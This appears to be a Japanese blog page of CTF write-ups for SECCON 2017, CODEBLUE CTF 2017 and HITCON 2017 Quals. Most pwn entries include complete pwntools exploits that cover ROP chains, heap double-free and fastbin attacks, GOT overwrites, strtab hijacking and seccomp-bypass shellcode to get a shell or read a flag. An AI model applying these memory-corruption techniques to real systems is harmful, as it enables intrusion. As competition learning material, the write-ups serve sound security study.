SECCON CTF 2017 Quals writeup

チーム NaruseJunで参加しました。チーム全体で2200点で70位で個人で1400点を入れました。

解いた問題
* putcharmusic
* PowerfulShell
* LogSearch
* Jpegfile
* Thankyouforplaying!
* BabyStack
* Election
* SecureKeyManager

putcharmusic

よくわからない文字列を出力するプログラムのソースコードが渡される。
ソースコードを見ると、周期的に何かを出力してそうだなとイメージできる。
putchar musicで検索すると以下のサイトが出てきてサウンドファイルに変換出来ることがわかる。

Meandering Through Mathematics: Algorithmic Music

この2行のコマンドを実行することで必要なファイルが手にはいる。

./a.out > a.raw
sox -V -r 8k -e un -b 8 -c 1 a.raw -b 16 -e si -L a.wav rate -h 44.1k gain -1 trim 0 30

PowerfulShell

2万行くらいの文字列を連結してiexコマンドの引数に渡して実行する。 コマンドの引数となる文字を別のファイルに出力 出力方法は下記のURLから

$ECCON | Set-Content 'stage1.ps1'

で保存できる。

stage1

Open, Write and Close the file using Powershell

stage1.ps1の中身を読むと鍵盤(a ~ kくらいまで)の音の周波数から小数点を切り捨てた値をsecretと同じ順序で押せば良い。成功すると次のステージへ進める。

stage2

数行の記号ばかりのソースコードソースコードをいじりなから実行すると、最後の行で標準入力とフラグの文字列を比較していることがわかる。
各変数と思われる記号をそれぞれ出力して最後の行の処理に対して置換してやると問題ページからダウンロードしたときのような[char]を連結してiexに渡している処理が出てくる。
この引数に当たる文字列を出力するとフラグが現れる。

LogSearch

flagにアクセスしたlogを探して出して同じパスでアクセスすればよい。 運が良かったのかflagと検索しただけでflag-なんとか で200が返ってきてる場所があった。

JpegFile

取り組んでいた頃には疲れていたので5000bit先頭から1つづつ反転させていってフラグにが見えないか確かめた。4950個めくらいで見つかり2時間くらいかかった。

Thankyouforplaying!

提出するだけ。

BabyStack

go言語で書かれたバイナリファイル。 入力は二箇所あり2回目の入力でスタック上のバッファオーバーフローを引き起こせる。ただし、スタック上の変数まで上書きしてしまうため、rwな適当なアドレスと小さな数値で埋める必要がある。ripを取ったらROPでシェルを取る。具体的にはreadシステムコールで既知アドレスに"/bin/sh"を入力しそれを引数に取るようにexecveシステムコールを呼び出した。

exploit

from pwn import *

context.terminal = 'screen'
binary = './babystack'

p = remote('baby_stack.pwn.seccon.jp', 15285)

#rsp+0x80
name = 'A' * 0x100
msg = ''
for i in range(0, 0xe70 - 0xdb0, 0x18):
    msg += p64(0x20)
    msg += p64(0x4c1c00)
    msg += p64(0x20)
msg += 'A' * 8#p64(0x4c1c00)
msg += p64(0x4c1c00)
msg += p64(0x20)
msg += p64(0x20)
msg += 'B' * 8 * 23

bss = 0x58e000 + 0x100
buf = bss + 0x200
# 0x00456889: syscall  ; ret  ;
# 0x004016ea: pop rax ; ret  ;
# 0x00409d68: pop rbx ; and byte [rax+0x01], cl ; ret  ;
# 0x00424548: pop rcx ; or byte [rax+0x01], cl ; ret  ;
# 0x0046ec93: pop rdx ; adc byte [rax-0x01], cl ; ret  ;
# 0x0046defd: pop rsi ; ret  ;
# 0x00470931: pop rdi ; or byte [rax+0x39], cl ; ret  ;
syscall = p64(0x456889)
pa = p64(0x004016ea)
pb = p64(0x00409d68)
pc = p64(0x00424548)
pd = p64(0x0046ec93)
psi = p64(0x0046defd)
pdi = p64(0x00470931)

payload = ''
payload += pa + p64(bss)
payload += pdi + p64(0x0)
payload += psi + p64(buf)
payload += pd + p64(0x8)
payload += pa + p64(0x0)
payload += syscall
payload += pa + p64(bss)
payload += pdi + p64(buf)
payload += psi + p64(0x0)
payload += pd + p64(0x0)
payload += pa + p64(0x3b)
payload += syscall

msg += payload

p.sendlineafter('Please tell me your name >>', name)
p.sendlineafter('Give me your message >>', msg)

raw_input('GO')
p.sendline('/bin/sh\x00')


p.interactive()

Election

選挙アプリ。

概要

*** Election ***

1. stand
2. vote
3. result
0. eat chocolate
>>
  1. 立候補者を追加する。
  2. 立候補者に投票する。ここでフラグが立ち1が実行できなくなる。
    また、Ojimaが候補者として存在している時にOshimaに投票するとOshimaからOjimaに書き換えるか尋ねられる。
  3. それぞれのvoteを表示する。ここでもフラグが立ち1, 2が実行できなくなる。
  4. ret命令で終了する。

候補者に用いられた構造体はこのようなリストにまとめられている。

typedef struct Candidate {
    char *name; //候補者名
    struct Candidate *next; //リストの次の要素
    uint64_t vote; //得票数
} Candidate;

脆弱性

voteでOshimaに投票してOjimaに書き換えられるかたずれられる時にバッファオーバーフローが存在する。
バッファが0x20byteに対して、0x30 byteまでの入力が可能でオーバーフローした0x10 byteには選択した候補者(Ojima)、8bitのvoteに加算するはずの変数が格納されている。
なので候補者の構造体と加算するはずの数を書き換える事により任意アドレスに値を加算することが出来る。

ただ、注意することとして、1byteづつしか値を加算出来ないことと、この1byteの最上位ビットが立っている場合は符号拡張されて上位のアドレスから1引く事になってしまう。

exploit

最初に"A" * 0x20 + '\0'を脆弱性のある場所に入力する。するとヒープのベースアドレス+0x10に1が加算される。
これを0x20回繰り返すことで候補者の名前をヒープのアドレスが格納されたメモリを指すことが出来る。

ヒープのアドレスがリークしたことでヒープも書き換え可能になり、さっき書き換えた場所をgot領域を指してlibcのアドレスをリークし、同様にしてスタックのアドレスもリークする。

スタックのアドレスがわかったので戻り先にone-gadget-rceを入れてmain関数からretすればシェルが取れる。  

ただ、aslrありの場合ヒープのアドレスが悪いとバグってしまったり、環境によってスタックのオフセットが違う場合もあるので何度か実行する必要がある。

exploit

from pwn import *

context.terminal = 'screen'
binary = './election'
libcName = './libc-2.23.so'

elf = ELF(binary, False)
libc = ELF(libcName, False)

def exploit(offset):
    # p = process(binary, aslr=False, env={"LD_PRELOAD": libcName})
    # p = process(binary, aslr=True, env={"LD_PRELOAD": libcName})
    p = remote('election.pwn.seccon.jp', 28349)

    # gdb.attach(p)
    prompt = '>>'
    def stand(name):
        p.sendafter(prompt, '1\0')
        p.sendafter('Enter the name.', name)
        p.recvuntil('done.')

    def vote(name, rename=None):
        p.sendafter(prompt, '2\0')
        p.sendafter('Show candidates? (Y/n)', 'n\0')
        p.sendafter('Enter the name of the candidate.', name)
        if name[:len("Oshima")] == "Oshima":
            p.sendafter('Would you modify the name and re-vote?', rename)
        p.recvuntil('done')

    def show():
        p.sendafter(prompt, '2\0')
        p.sendafter('Show candidates? (Y/n)', 'Y\0')
        p.recvuntil('Candidates:')
        p.recvuntil('\n')
        lst = map(lambda x: x[2:], p.recvuntil('Enter')[:-5].split('\n'))
        p.send('null')
        return lst

    def result():
        return p.recvuntil('done.')

    puts_got = 0x601f90
    obj_list = 0x602028
    obj_lv   = 0x602010

    def write(addr, value, original=0):
        print "write addr: %s, value: %s" % (hex(addr), hex(value))
        print '\n'
        i = 0
        isCarry = False
        while value > 0 or original > 0:
            if isCarry:
                value -= 1
            isCarry = False
            for j in range(2):
                payload = 'yes\0'
                payload = payload.ljust(0x20, 'A')
                payload += p64(addr + i - 0x10)
                diff = (value&0xff) - (original&0xff)
                if diff < 0:
                    isCarry = True
                    diff += 0x100

                if diff&1 and j == 0:
                    diff >>= 1
                    diff += 1
                else:
                    diff >>= 1
                # print hex(value&0xff), hex(original&0xff), hex(diff)
                payload += p64(diff & 0xff)
                payload = payload[:-1]
                vote('Oshima', rename=payload)
            value >>= 8
            original >>= 8
            i += 1
            print "isCarry: %s" % isCarry

    for i in range(0x20):
        payload = 'yes\0'.ljust(0x20, 'A')
        vote('Oshima', rename=payload)

    heapBase = u64(show()[2].ljust(8, '\0')) - 0x70
    print 'heapBase: %s' % hex(heapBase)

    write(heapBase+0x10, puts_got, heapBase + 0x50)
    write(heapBase+0x14, 0, 1)
    libcBase = u64(show()[2].ljust(8, '\0')) - libc.symbols['puts']
    print 'libcBase: %s' % hex(libcBase)

    environ = libcBase + libc.symbols['environ']
    print 'environ: %s' % hex(environ)

    write(heapBase+0x10, environ, puts_got)
    envAddr = u64(show()[2].ljust(8, '\0'))
    print 'envAddr: %s' % hex(envAddr)

    returnAddr = libcBase + 133168
    returnStack = envAddr - offset

    print 'returnStack: %s' % hex(returnStack)

    try:
        one_gadget = libcBase + 0xf1117
        write(returnStack, one_gadget, returnAddr)
        p.sendlineafter(prompt, '0')
        p.sendline('echo pwned')
        p.recvuntil('pwned')
        p.interactive()
        return False
    except EOFError:
        p.close()
        return True

# exploit(240)
offset = 200
while exploit(offset):
    offset += 8
    print offset

SecureKeyManager

概要

                 (省略)


Set Your Account Name >> kriw
Set Your Master Pass >> kriw

1. add
2. show
3. edit
4. remove
9. change master pass
0. exit
>>

最初にアカウント名、パスワードを既知アドレスに入力することが出来る。
その後にkeyを追加、編集、削除が出来る。
また、2のshowは実行しても何も表示がされない。

脆弱性

removeでdouble freeが出来る。

exploit

方針として、double freeからfastbins unlink attackにつなげてGOT Overwriteでfreeをprintfに変え、strchrをsystem関数に書き換えることでシェルの起動をする。

最初に入力したアカウント名をfastbinsのチャンクサイズ"\x71"にしておき、addでサイズを0x48になるものを2つ確保し、0, 1, 0の順にremoveしたあと、addで0x48のサイズを指定することでfree済みのチャンクが手に入りアカウント名をチャンクのメタデータにしたfastbins unlink attackが可能となる。

これによってkeyとkey_mapを自由に書き換えられる。またeditではmalloc_usable_sizeが用いられており、書き換えが可能なのはチャンクのアドレス+0x20以降でしか無いためkeyの書き換えによる任意アドレスの書き換えはムズカシイ。 なので、freeを書き換えるためにgot領域の先頭+2 (= 0x60)をサイズにしたfastbins unlink attackを再びし、freeを書き換えて、その後はkeyをよしなに書き換えてgot上のstrchrをsystemに書き換えることでsystem("/bin/sh")を呼び出すことが出来る。

from pwn import *

context.terminal = 'screen'
binary = './secure_keymanager'
libcName = './libc-2.23.so'

elf = ELF(binary, False)
libc = ELF(libcName, False)

p = remote('secure_keymanager.pwn.seccon.jp', 47225)

account = '\x71'
master = 'qiyo'

p.sendafter('Set Your Account Name >>', account)
p.sendafter('Set Your Master Pass >>', master)

prompt = '>>'
def add(length, title, payload):
    p.sendlineafter(prompt, '1')
    p.sendlineafter('Input key length...', str(length))
    p.sendafter('Input title...', title)
    p.sendafter('Input key...', payload)
    p.recvuntil('done')

def edit(index, payload):
    p.sendlineafter(prompt, '3')
    p.sendafter('Input Account Name >>', account + '\0')
    p.sendafter('Input Master Pass >>', master + '\0')
    p.sendafter('Input id to edit...', str(index))
    p.sendafter('Input new key...', payload)

def remove(index):
    p.sendlineafter(prompt, '4')
    p.sendafter('Input Account Name >>', account + '\0')
    p.sendafter('Input Master Pass >>', master + '\0')
    p.sendafter('Input id to remove...', str(index))
    p.recvuntil('done')

add(0x48, 'A', 'A')
add(0x48, 'B', 'B')
add(0x100, 'B', 'B')
add(0x28, 'B', 'B')
edit(2, 'A')
remove(2)
remove(0)
remove(1)
remove(0)

add(0x48, p64(0x6020b8), 'B')
add(0x48, 'B' * 0x1f, 'B')
add(0x48, 'B' * 0x1f, 'B')
title = 'A' * 0x18
title += p64(0x6020c8)[:-1]
key = ''
key += '\0' * 8 * 7
key += '\x01' + '\x00' * 0xd
add(0x48, title, key)

add(0x38, 'A', 'A')
add(0x38, 'B', 'B')
add(0x28, 'B', 'B')
remove(1)
remove(2)
remove(1)
add(0x38, p64(0x601ffa), 'B')
add(0x38, 'B', 'B')
add(0x38, 'B', 'B')
title = 'A' * 0xe
title += p64(elf.plt['printf'])[:-1]
key = '\x40'
add(0x38, title, key)

key = ''
key += 'A' * 8 + p64(elf.got['puts']) * 6
key += '\x01' * 0xe
edit(0, key)

p.sendlineafter(prompt, '4')
p.sendafter('Input Account Name >>', account + '\0')
p.sendafter('Input Master Pass >>', master + '\0')
p.sendafter('Input id to remove...', str(2))
libcBase = u64(p.recvuntil('done')[:-4].ljust(8, '\0')) - libc.symbols['puts']
system = libcBase + libc.symbols['system']
print 'libcBase: %s' % hex(libcBase)
print 'system: %s' % hex(system)

key = ''
key += 'A' * 8 + p64(0x602009) * 6
key += '\x01' * 0xe
edit(0, key)

key = '/bin/sh\0' + 'A' * 7 + p64(system)[:-1]
edit(4, key)


p.interactive()

ROPChainを自動生成してみる。

CTF AdventCalendar 201710日目の記事です。
ROPChainを自動生成してみます。

続きを読む

CODEBLUE CTF 2017 writeup nonamestill

競技中に取り組んではいたものの解けなったので解きました。供養。

続きを読む

CODEBLUE CTF 2017 writeup

チーム SSR_CTF_BUで参加しました。2755点で全体で3位、僕はSecret Mailer Servicet(256点)とSimple Memo Pad(399点)の二問を解きました。

Secret Mailer Service

概要

PIE無効、NXBit enabledの64bitバイナリ。 起動すると以下の用にメニューが表示される。

*** Secret Mailer Service ***
Welcome to Secret Mailer Service!
Post your secret letters here ;)

1. Add a letter
2. Delete a letter
3. Post a letter
4. Quit
>

選択肢は4つでそれぞれ、
* Add
サイズが0x100以下の文字列をスタック上に格納
* Delete
Addした中から一つ選んでmemsetで0埋めする。
* Post
Addした中から一つ選んだ後、適用するフィルターを選びヒープへ保存する。
* Quit
終了する。

また、起動時にfopen("/dev/null", "a")が呼ばれ、Post時に呼ばれる関数の第一引数にそのハンドラが入る。

脆弱性

Postを実行しフィルターを選択する際の処理は以下のとおり(一部省略)。

8048b77:       eb 52                   jmp    8048bcb <atoi@plt+0x65b>
8048b79:       8b 45 f0                mov    eax,DWORD PTR [ebp-0x10]
8048b7c:       8b 14 85 48 b0 04 08    mov    edx,DWORD PTR [eax*4+0x804b048]
...
8048bb2:       ff 75 0c                push   DWORD PTR [ebp+0xc]
8048bb5:       ff d2                   call   edx

この選択肢に負数を入力するとチェックをすり抜けることが出来る。

exploit

Post時のフィルターの選択で0を入力するとAddで入力した文字列bufがfwrite(f, buf, len)という形で使用される。(fは起動時のfopenの戻り値、lenはbufの長さ)
この時、ヒープ上にバッファが溜まって行くことを利用する。

call edx時のedxの値はメモリ上にある値だけなので、ヒープ上の値とGOTを利用することにする。また関数の引数は順番に、ファイルハンドラ、Postする文字列、文字列の長さの順番になっている。

方針は以下の通り。

  1. ヒープ上にmain関数のアドレスを入力しておく。
  2. printfでヒープのアドレスをリーク。
  3. memsetでlibcのアドレスがある場所まで適当な値で埋めた後、1と同様にしてリークする。
  4. 2でファイルハンドラを破壊してしまった為、main関数を呼び出してファイルハンドラを再び確保する。
  5. ヒープ上にgetsなどの入力を受け付ける関数とsystemのアドレスを入力する。
  6. getsを呼び出してファイルハンドラの指す先に"/bin/sh"を入力する。
  7. system(f)を呼び出す。

exploitは以下の通り。

from pwn import *

context.terminal = 'screen'

binary = './mailer'
libcName = './libc.so.6'
elf = ELF(binary, False)
libc = ELF(libcName, False)

# p = process(binary, env={'LD_PRELOAD': libcName})
# p = process(binary, aslr=False, env={'LD_PRELOAD': libcName})
p = remote('sms.tasks.ctf.codeblue.jp', 6029)
# gdb.attach(p)

jmpBase = 0x804b048

prompt = '> '
def add(content):
    p.sendlineafter(prompt, '1')
    p.sendlineafter('Input your contents: ', content)
    p.recvuntil('Done!')

def dele(index):
    p.sendlineafter(prompt, '2')
    p.sendlineafter('ID (0-4): ', str(index))
    p.recvuntil('Done!')

def post(index, offset):
    p.sendlineafter(prompt, '3')
    p.sendlineafter('ID (0-4): ', str(index))
    p.sendlineafter(prompt, str(offset))

'''
0x080485f5: add esp, 0x10 ; leave  ; rep ret  ;  (2 found)
0x08048db0: rep ret
'''
add('A' * 0xfc)
post(0, 0)
dele(0)

'''
0x804c000:      0x00000000      0x00000161      0xfbad3c84      0x0804c168
0x804c010:      0x0804c168      0x0804c168      0x0804c168      0x0804cc6c
0x804c020:      0x0804d168      0x0804c168      0x0804d168      0x00000000
0x804c030:      0x00000000      0x00000000      0x00000000      0x5572fcc0
'''
# add(p32(0x08048c02))
add(p32(0x08048590))
post(0, 0)

offset = (elf.got['printf'] - jmpBase) / 4
post(0, offset)
heapBase = u32(p.recvuntil('Done!')[4:8]) - 0x168
print 'heapBase: %s' % hex(heapBase)

add('A' * 52)
offset = (elf.got['memset'] - jmpBase)/ 4
post(1, offset)

offset = (elf.got['printf'] - jmpBase) / 4
post(0, offset)
libcBase = u32(p.recvuntil('Done!')[-11:-7]) - 1772736
print 'libcBase: %s' % hex(libcBase)


add('A' * 52)
offset = (elf.got['memset'] - jmpBase)/ 4
post(1, offset)

gets = libcBase + libc.symbols['gets']
system = libcBase + libc.symbols['system']

#return to main and reopen /dev/null
offset = (((heapBase + 0x264) - jmpBase) - (1 << 32)) / 4
post(1, offset)

add('AAAA' + p32(gets) + p32(system) + 'BBBB')
post(0, 0)

offset = (((heapBase + 0x12d4) - jmpBase) - (1 << 32)) / 4
post(0, offset)
p.sendline('/bin/sh')

offset = (((heapBase + 0x12d8) - jmpBase) - (1 << 32)) / 4
post(0, offset)
p.interactive()

warm upらしい

CBCTF{4R3_YOU_w4RM3D_UP_f0R_MORE_PWNabLeS?}

Simple Memo Pad

概要

checksec

    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

起動時のメニュー

*******************************
*       Simple Memo Pad       *
*******************************
                     Ver. Alpha


1. Write a note on a blank area
2. Edit a note
3. Delete a note
4. Show a note
5. Quit
>

メモの構造体は以下の用になる。

struct Page {
    uint64_t canary;
    uint32_t index;
    uint32_t is_filled;
    char buf[0x80];
    struct Page *next;
    struct Page *prev;
};

各コマンドは
* write
指定したインデックスの構造体のバッファを埋め、is_filledを1にする。
* edit
is_filledが1である構造体のbufに0x88文字まで入力することが出来る(ここでオーバーフローが発生する。)このedit処理に成功すると以後editは実行できなくなる。
* delete
editと同様にis_filledが1である構造体に対して実行可能で双方向リストから指定したインデックスの構造体を削除できる。
* show
未実装らしい。特に意味は無い。
* quit
終了する。

脆弱性

edit時に88byteまでbufに入力することができ、nextを書き換えることが出来る。

exploit

deleteの処理は以下

void del(Page *page) {
    int n = read_int();
    for(Page *iter = page; ; iter = iter->next) {
        if(!iter) {
            output_str("Page not found\n");
            return;
        }
        if(iter->index == n) {
            break;
        }
    }
    if(get_canary() != iter->canary) {
        output_str("Linked list is corrupted\n");
        exit(1);
    }
    if(iter->is_blank) {
        output_tr("You can not delete a blank page\n");
    }
    Page *local_20h = iter->prev;
    Page *local_18h = iter->next;
    if(local_20h != NULL) {
        local_20h->next = local_18h;
    }
    if(local_18h != NULL) {
        local_18h->prev = local_20h;
    }
    output_str("Done");

}

delete特有の操作を切り取るとこれだけ

    Page *local_20h = iter->prev;
    Page *local_18h = iter->next;
    if(local_20h != NULL) {
        local_20h->next = local_18h;
    }
    if(local_18h != NULL) {
        local_18h->prev = local_20h;
    }

つまり、nextに入れたアドレスにPage構造体のアドレスを上書きすることが出来る。
今回はライブラリ関数のアドレス解決に使用されるstrtab構造体を書き換えることでsystem関数を実行する。

strtab構造体のアドレスをヒープのアドレスに上書きしてからライブラリの動的解決を実行させると以下のようなエラーが出て終了する。(bufには "A" * 0x80が格納されている。)

./simple_memo_pad: relocation error: ./simple_memo_pad: symbol AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA, version GLIBC_2.2.5 not defined in file libc.so.6 with link time reference

エラーメッセージを見る限り、AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAがlibcに無いと言われているのでこの部分をlibcの関数に書き換えることでその関数を呼び出すことが出来る。

また、今回はQuit時にstrcmpで第一引数に標準入力による文字列を受け付けており、かつ(Quitを選択しない限り)strcmpのアドレスは解決されていなのでこれをsystem関数に置き換える。

  1. Writeで'A' * 0x53 + 'system\x00'を格納する。
  2. Writeで'B' * 0x80を格納する。
  3. editのオーバーフローにより2で書き込んだPage構造体のnextの値をstrtab_base + 8 - 0x98にする。
  4. deleteで2の構造体(index=3)を削除する。
  5. Quitを実行して"/bin/sh"を入力してシェルを起動する。
from pwn import *

context.terminal = 'screen'
binary = './simple_memo_pad'

# p = process(binary, aslr=False)
p = remote('memopad.tasks.ctf.codeblue.jp', 5498)
# gdb.attach(p)

prompt = '> '

def write(content):
    p.sendlineafter(prompt, '1')
    p.sendlineafter('Content: ', content)
    p.recvuntil('Done!')

def edit(index, content):
    p.sendlineafter(prompt, '2')
    p.sendlineafter('Index: ', str(index))
    p.sendlineafter('Content: ', content)
    p.recvuntil('Done!')

def delete(index):
    p.sendlineafter(prompt, '3')
    p.sendlineafter('Index: ', str(index))
    p.recvuntil('Done!')


strtab_base = 0x601850

write('A' * 0x53 + 'system\x00')
write('B' * 0x80)
payload = fit({
        0x80: p64(strtab_base + 0x8 - 0x98)
    })
edit(3, payload)
delete(3)

p.sendlineafter(prompt, '5')
p.sendlineafter('Are you sure to quit? (y/n): ', '/bin/sh\x00')
p.sendline('echo pwned')
p.sendlineafter('pwned', 'cat flag')

p.interactive()

参考

SEC-T CTF 2017 Expunged Write Up – bi0s

HITCON CTF 2017 Quals writup artifact

チーム NaruseJunで参加しました。 結果は67位、1solve(artifact) 2アシスト(BabyFirst Reverge, SecretFS) でした。

artifact

概要

checksecではこんな感じ。

    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

プログラムはseccompによるサンドボックス上で何度でもスタックからのオフセットを指定を指定してアドレスを読み出し、書き込みが出来るようになっている。 seccompで使用されているbpfのダンプ結果は以下のようになっている。

Using architecture x86-64
prctl(PR_SET_NO_NEW_PRIVS)
prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, ...)
  fprog @ 00007fffffffddc0
  20 blocks @ 00007fffffffddd0
  Disassembly:
     l0:        ld [4] //A <- arch
     l1:        jeq #0xc000003e, l2, l18 //jeq x86_64
     l2:        ld [32]
     l3:        tax
     l4:        ld [0]
     l5:        jeq #0, l19, l6
     l6:        jeq #0x1, l19, l7
     l7:        jeq #0x5, l19, l8
     l8:        jeq #0x8, l19, l9
     l9:        jeq #0x9, l11, l10
     l10:       jeq #0xa, l11, l14
     l11:       txa
     l12:       and #0x1
     l13:       jeq #0x1, l18, l19
     l14:       jeq x, l19, l15
     l15:       jeq #0xc, l19, l16
     l16:       jeq #0x3c, l19, l17
     l17:       jeq #0xe7, l19, l18
     l18:       ret #0
     l19:       ret #0x7fff0000

脆弱性

bpfによるとルールは64bitのシステムコールかつ、いずれかの条件に当てはまっている必要がある。

つまり、mmapとmprotectは読み出しフラグさえ付けなければ使用可能で他のシステムコールも第三引数をシステムコール番号に設定すると実行できる。
open, read, writeが使用できるので目的であるフラグの読み出しが可能。

ちなみに、bpfのダンプにはこのgdbプラグインを使用しました。
GitHub - niklasb/dump-seccomp: GDB plugin to dump SECCOMP rules set via prctnl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER)

exploit

  1. スタック上にある関数の戻り先などを利用してPIE, ASLRのバイパスをする。
  2. 何度も書き込みが可能なのでROPでmmapとreadを呼び出してシェルコードを作成しopen, readでフラグを読み出す。
from pwn import *
from ropchain import solver, arch

context.terminal = 'screen'
binary = './artifact'
libcName = './libc.so.6'

elf = ELF(binary, False)
libc = ELF(libcName, False)


prompt = 'Choice?'

p = remote('52.192.178.153', 31337)

def show(idx):
    p.sendlineafter(prompt, '1')
    p.sendlineafter('Idx?', str(idx))
    p.recvuntil('Here it is: ')
    return p.recvuntil('\n')[:-1]

def memo(idx, num):
    p.sendlineafter(prompt, '2')
    p.sendlineafter('Idx?', str(idx))
    p.sendlineafter('Give me your number:', str(num))

def exit():
    p.sendlineafter(prompt, '3')

stackBase = int(show(200)) - 132640
exeBase = int(show(202)) - 2992
libcBase = int(show(203)) - 132081
print 'stackBase: %s' % hex(stackBase)
print 'exeBase: %s' % hex(exeBase)
print 'libcBase: %s' % hex(libcBase)
binsh = libcBase + next(libc.search('/bin/sh\x00'))
system = libcBase + libc.symbols['system']
int80 = libcBase + 0x00002c3b
syscall = libcBase + 0x00124a98
print 'binsh: %s' % hex(binsh)
print 'syscall: %s' % hex(syscall)
# print 'int80: %s' % hex(int80)

'''
0x00116d45: pop r10 ; ret
0x001379b6: pop r8 ; mov eax, 0x00000001 ; ret  ;
'''
addr = 0x600000
arch.arch = arch.AMD64
genRop = lambda r: solver.solveWithFile(r, libcName, libcBase).payload()
payload = ''
payload += p64(libcBase + 0x1379b6) + p64(0xffffffffffffffff)
payload += p64(libcBase + 0x116d45) + p64(34)
payload += genRop({'rax': 0x09, 'rdi': addr, 'rsi': 0x1000, 'rdx': 0x6})
payload += p64(syscall)
payload += genRop({'rax': 0x01, 'rdi': 0x1, 'rsi': binsh, 'rdx': 0x8})
payload += p64(syscall)
payload += genRop({'rax': 0x00, 'rdi': 0x0, 'rsi': addr, 'rdx': 0x100})
payload += p64(syscall)
payload += p64(addr)

for i in range(len(payload)/8):
    memo(203+i, u64(payload[8*i:8*(i+1)]))

p.sendlineafter(prompt, '0')
payload = asm(
        '''
        mov rax, 0x2
        mov rdi, %s
        mov rsi, 0x0
        mov rdx, 0x2
        syscall
        mov rdi, rax
        mov rax, 0x0
        mov rsi, %s
        mov rdx, 0x100
        syscall
        mov rdi, 0x1
        mov rax, 0x1
        mov rdx, 0x100
        syscall
        mov rax, 0x3c
        mov rdi, 0x0
        syscall
        ''' % (hex(addr+0x90), hex(exeBase + elf.bss())), os='linux', arch='amd64').ljust(0x90, '\x90')
payload = (payload + 'flag\x00').ljust(0xc0, '\x90')
p.sendafter('/bin/sh\x00', payload)
p.interactive()

seccompは全然詳しくなかったので勉強になりました。

HITCON CTF 2015 Quals readable

自習用に解きました。

続きを読む

HITCON CTF 2016 Quals Sleepy Holder

自習用に解きました。

続きを読む